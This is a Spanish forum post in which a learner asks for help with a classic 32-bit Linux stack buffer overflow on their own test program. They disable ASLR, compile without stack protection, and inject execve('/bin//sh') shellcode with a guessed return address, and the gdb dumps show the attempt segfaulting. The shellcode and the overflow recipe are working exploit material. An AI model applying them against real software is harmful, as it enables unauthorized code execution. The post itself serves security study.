sigo sin lograr crear la shell en linux con un exploit... alguien tiene alguna idea de que podria ser?, esto es lo que hago
primero desactivo
Citarcat /proc/sys/kernel/randomize_va_space
0
compilo
Citargcc -g --no-stack-protector -z execstack vuln.c -o vuln
con GDB, analizo
Citar$(perl -e 'print "A" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "B" x 4')
Breakpoint 1, overflow (
badbeef=0xbffff5a4 'A' <repeats 20 times>, "1\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀BBBB") at vuln.c:6
6 strcpy(buffer, badbeef);
esto obtengo como resultado
Citar(gdb) x/x buffer
0xbffff320: 0x00000000
(gdb) x/x badbeef
0xbffff5a4: 0x41414141
Citar(gdb) x/50 $esp
0xbffff310: 0xb7f361d7 0xb7e955f5 0x0000002f 0xb7fbeff4
0xbffff320: 0x00000000 0x0804966c 0xbffff338 0x080482e8
0xbffff330: 0xb7ff1300 0x0804966c 0xbffff368 0x08048449
0xbffff340: 0xb7fbf324 0xb7fbeff4 0xbffff368 0x08048417
0xbffff350: 0xbffff5a4 0xb7ff1300 0x0804843b 0xb7fbeff4
0xbffff360: 0x08048430 0x00000000 0xbffff3e8 0xb7e7ce46
0xbffff370: 0x00000002 0xbffff414 0xbffff420 0xb7fe1860
0xbffff380: 0xb7ff7591 0xffffffff 0xb7ffeff4 0x08048254
0xbffff390: 0x00000001 0xbffff3d0 0xb7ff0986 0xb7fffac0
0xbffff3a0: 0xb7fe1b58 0xb7fbeff4 0x00000000 0x00000000
0xbffff3b0: 0xbffff3e8 0x50be839c 0x60c4758c 0x00000000
0xbffff3c0: 0x00000000 0x00000000 0x00000002 0x08048330
0xbffff3d0: 0x00000000 0xb7ff6730
(gdb) next
7 }
(gdb) x/50 $esp
0xbffff310: 0xbffff320 0xbffff5a4 0x0000002f 0xb7fbeff4
0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff330: 0x41414141 0x6850c031 0x68732f2f 0x69622f68
0xbffff340: 0x50e3896e 0x8953e289 0xcd0bb0e1 0x42424280
0xbffff350: 0xbfff0042 0xb7ff1300 0x0804843b 0xb7fbeff4
0xbffff360: 0x08048430 0x00000000 0xbffff3e8 0xb7e7ce46
0xbffff370: 0x00000002 0xbffff414 0xbffff420 0xb7fe1860
0xbffff380: 0xb7ff7591 0xffffffff 0xb7ffeff4 0x08048254
0xbffff390: 0x00000001 0xbffff3d0 0xb7ff0986 0xb7fffac0
0xbffff3a0: 0xb7fe1b58 0xb7fbeff4 0x00000000 0x00000000
0xbffff3b0: 0xbffff3e8 0x50be839c 0x60c4758c 0x00000000
0xbffff3c0: 0x00000000 0x00000000 0x00000002 0x08048330
0xbffff3d0: 0x00000000 0xb7ff6730
Citar(gdb) disass main
Dump of assembler code for function main:
0x080483fe <+0>: push %ebp
0x080483ff <+1>: mov %esp,%ebp
0x08048401 <+3>: and $0xfffffff0,%esp
0x08048404 <+6>: sub $0x10,%esp
0x08048407 <+9>: mov 0xc(%ebp),%eax
0x0804840a <+12>: add $0x4,%eax
0x0804840d <+15>: mov (%eax),%eax
0x0804840f <+17>: mov %eax,(%esp)
0x08048412 <+20>: call 0x80483e4 <overflow>
0x08048417 <+25>: mov $0x0,%eax
0x0804841c <+30>: leave
0x0804841d <+31>: ret
Citar(gdb) info r
eax 0xbffff320 -1073745120
ecx 0x0 0
edx 0x32 50
ebx 0xb7fbeff4 -1208225804
esp 0xbffff310 0xbffff310
ebp 0xbffff348 0xbffff348
esi 0x0 0
edi 0x0 0
eip 0x80483fc 0x80483fc <overflow+24>
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
al intentar poner RET me aparece esto
Citar(gdb) x/x buffer
0xbffff320: 0x00000000
Citar$(perl -e 'print "A" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x20\xf3\xff\xbf"')
Breakpoint 1, overflow (
badbeef=0xbffff5a4 'A' <repeats 20 times>, "1\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀P\363\377\277") at vuln.c:6
6 strcpy(buffer, badbeef);
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xfff35080 in ?? ()
(gdb) exit
Y no se que mas me falte o que este haciendo mal, alguien podria explicarme porfavor
salu2